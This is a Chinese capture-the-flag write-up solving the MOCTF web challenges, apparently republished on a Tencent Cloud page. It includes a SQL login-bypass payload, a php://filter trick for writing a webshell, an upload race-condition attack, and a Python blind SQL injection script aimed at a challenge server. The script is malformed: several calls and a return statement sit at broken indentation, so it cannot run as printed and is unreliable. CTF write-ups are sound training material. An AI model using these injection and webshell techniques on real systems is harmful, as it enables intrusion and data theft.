MOCTF WEB 题解

0x00

MOCTF平台是CodeMonster和Mokirin这两支CTF战队所搭建的一个CTF在线答题系统。网址是http://www.moctf.com/。

Web题做下来感觉难度适中,也不乏有意思的题目。

0x01 签到

加入qq群即可

0x02 一道水题

F12查看源码,flag在源码中

0x03 还是水题

网页中有一个提交按钮,根据提示输入moctf,但是input标签的属性被设置为disabled和最大长度为4

去掉这两个属性再提交即可

0x04 访问限制

根据网页提示”只允许使用NAIVE浏览器访问!”和”只允许香港记者访问!”修改HTTP请求头为

0x05 机器蛇

信息泄露,存在robots.txt

访问php文件,在注释中拿到flag

0x06 PHP黑魔法

同样是信息泄露,这里是vim的自动备份文件index.php~

拿到源码

明显看出是0e[0-9]+格式的字符串在进行弱类型比较时会按照科学计数法后比较,因此找出两个原文不同,md5后符合上述格式的字符串即可,可以直接搜到网上现成的

0x07 我想要钱

比较简单,利用科学计数法绕过,money=3e9

0x08 登录就对了

最简单的sql注入

name='||1#&pass=1

登录后即有flag

0x09 Flag 在哪?

比较脑洞的一道题

访问flag.php后会发生多次跳转,依次为

flag.php -> where_is_flag.php -> I_have_a_flag.php -> I_have_a_frog.php -> no_flag.php

根据题目的提示

搜到PPAP这首歌,根据歌词的规律猜测出flag的地址为flagfrog.php

0x0A 死亡退出

给出了题目源码

想到了P师傅之前分析过的文章

利用php的base64 decode在遇到除了[a-zA-Z0-9+/]之外的字符时会跳过的特性,结合php伪协议,让写入的字符串为<?php exit;?>和我们的base64 encode后的webshell,前面的解码后因没有实际意义,所以被php直接输出,从而成功写入webshell。

需要注意$c原本有多少个可解码字符,在这里为7个,所以我们后面要添加1个

发起请求

成功执行命令

0x0B 文件包含

file参数可以包含文件

猜测后台代码这样 include(‘./’.$_GET[‘file’]);

有 ../ 时会返回 Wrone Answer,因此这里不能返回上层目录

经过测试和welcome.txt同级的目录下存在flag.php,因此直接包含即可

0x0C 美味的饼干

输入人以用户名密码登录后查看cookie

ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU=

Base64解码后为

ee11cbb19052e40b07aac0ca060c23ee

去md5网站上查询得到user

所以这里是把admin先md5加密再base64 encode,替换掉原cookie,获得flag

0x0D 火眼金睛

给出了随机的一大串文本,提交正确的moctf数量拿到flag

2s网页刷新一次,这里写了个脚本

0x0E 没时间解释了

访问index.php时会302跳转到index2.php,留意index.php的内容得到提示

May be u need uploadsomething.php

是一个上传页面,上传后去访问提示Too slow!

猜测是上传后在很短的时间后就删除了,联想到安恒杯的一道题目,要写一个脚本上传后立刻访问,但是依然提示 Too slow!

于是想到了应该是写入文件和删除文件语句间隔时间较短,这本质上就是一个时间竞争问题,我们只要利用burp开两个intruder,一个一直发上传文件的包,另一个一直发访问文件的包,就会达到在两条语句中间访问到了这个文件的效果

长度为221的即是在删除前成功访问到文件的请求

0x0F 简单注入

虽然是叫简单注入,却是这些题目里分值最高的一道了

我们来仔细分析一下

简单测试下,ban掉了以下字符

根据 'and'1 和 'and'0 的回显不同作为注入的基本点

比如查询数据库名长度的payload是 'and(length(database()))='

注意以下几点

  1. 空格可以用圆括号替换
  2. substr用left替换
  3. 为了避免查询出来的字符串有ban掉的字符,hex后再进行比较
  4. limit可以改成group_concat,直接查出所有数据

解题脚本

# coding=utf-8
import requests
import string
 
url = 'http://119.23.73.3:5004/?id=1'
s = string.printable
 
def getDatabase():
    for i in range(20):
        url2 = url + "'and(length(database()))='" + str(i+1)
        text = getData(url2)
        if 'Hello' in text:
            databaseLen = i+1
            print '[*] The current database length is ' + str(i+1)
            break
    database = ''
    for i in range(databaseLen):
        for j in s:
            url2 = url + "'and(hex(left(database()," + str(i+1) + ")))='" + (database+j).encode('hex')
            text = getData(url2)
            if 'Hello' in text:
                database += j
                #print database
                break
    print '[*] The current database is ' + database
getTables()
 
def getTables():
    tables = ''
    for i in range(50):
        for j in s:
            url2 = url + "'and(select(hex(left(group_concat(table_name)," + str(i+1) + ")))from(information_schema.tables)where(table_schema=database()))='" + (tables+j).encode('hex')
            text = getData(url2)
            if 'Hello' in text:
                tables += j
                #print tables
                break
 
    print '[*] Tables names is : ' + tables
    table = tables.split(',')[0]
getColumns(table)
 
def getColumns(table):
    columns = ''
    for i in range(50):
        for j in s:
            url2 = url + "'and(select(hex(left(group_concat(column_name)," + str(i+1) + ")))from(information_schema.columns)where((table_schema)=database()and(table_name)='" + table + "'))='" + (columns+j).encode('hex')
            text = getData(url2)
            if 'Hello' in text:
                columns += j
                #print columns
                break
 
    print '[*] Columns names is : ' + columns
    column = columns.split(',')[0]
getFlag(table, column)
 
def getFlag(table,column):
    flag = ''
    for i in range(50):
        for j in s:
            url2 = url + "'and(select(hex(left(group_concat(" + column + ")," + str(i+1) + ")))from(" + table + "))='" + (flag+j).encode('hex')            
            text = getData(url2)
            if 'Hello' in text:
                flag += j
                #print flag
                break
print '[*] The flag is: ' + flag
 
def getData(url):
    r = requests.get(url, timeout=10)
return r.text
 
def main():
getDatabase()
 
if __name__ == '__main__':
    main()

输出结果

成功拿到flag

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2018-02-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏一枝花算不算浪漫

[Java面试七]Mybatis总结以及在面试中的一些问题.

47514
来自专栏MixLab科技+设计实验室

设计师编程指南之Sketch插件开发 1

发现网上关于sketch插件开发的指南太少了,而且都不一定可以成功运行,于是我就写了这个系列的文章: 1 我们需要了解的语法特点 sketch 是基于 Coc...

5678
来自专栏美团技术团队

Node.js Stream - 进阶篇

在构建较复杂的系统时,通常将其拆解为功能独立的若干部分。这些部分的接口遵循一定的规范,通过某种方式相连,以共同完成较复杂的任务。譬如,shell通过管道|连接各...

4094
来自专栏斑斓

框架 | spray-routing的核心流程

最近我们在一个项目上使用spray来发布restful service。 ? spray是个性能很好而且功能非常完整的service框架,包含很多组件,从底层h...

4496
来自专栏云计算

JClouds的命令行界面

我已经使用jclouds一年多了,也一直为它的进步做贡献。目前为止,我已经在很多领域广泛地使用它,特别是在 Fuse Ecosystem 。总之,它是一个特别棒...

2437
来自专栏owent

关于BUS通信系统的一些思考(二)

虽然我很不愿意再设计一套BUS系统,但是现有的一些确实都没有特别符合我的口味的。所以还是尝试设计一个出来。

973
来自专栏蓝天

走出锁的误区 - 正面认识锁

多线程编程,锁通常是必不可少的保证代码运行安全的工具,一提到锁,最直接想到的是性能问题,给人的印象是锁会影响系统性能。这固然不然。但性能本身并不是锁本身引起的,...

662
来自专栏Java架构沉思录

优雅实现延时任务之Redis篇

PS:这篇文章昨天已经推送过了,不过忘了标原创,今天标个原创再发一次,昨天看了的可以不用往下看了。

1852
来自专栏码农阿宇

海量数据即时查询引擎ElasticSearch入门 附.Net Core例子

Elasticsearch是基于Lucene的搜索引擎。它提供了一个分布式,支持多租户的全文搜索引擎,它具有HTTP Web界面和无模式JSON文档。 Elas...

2092
来自专栏互联网杂技

内存卡存储原理,你知道吗?

1、 简介: SD卡(Secure Digital Memory Card)是一种为满足安全性、容量、性能和使用环境等各方面的需求而设计的一种新型存储器...

4246

扫码关注云+社区

领取腾讯云代金券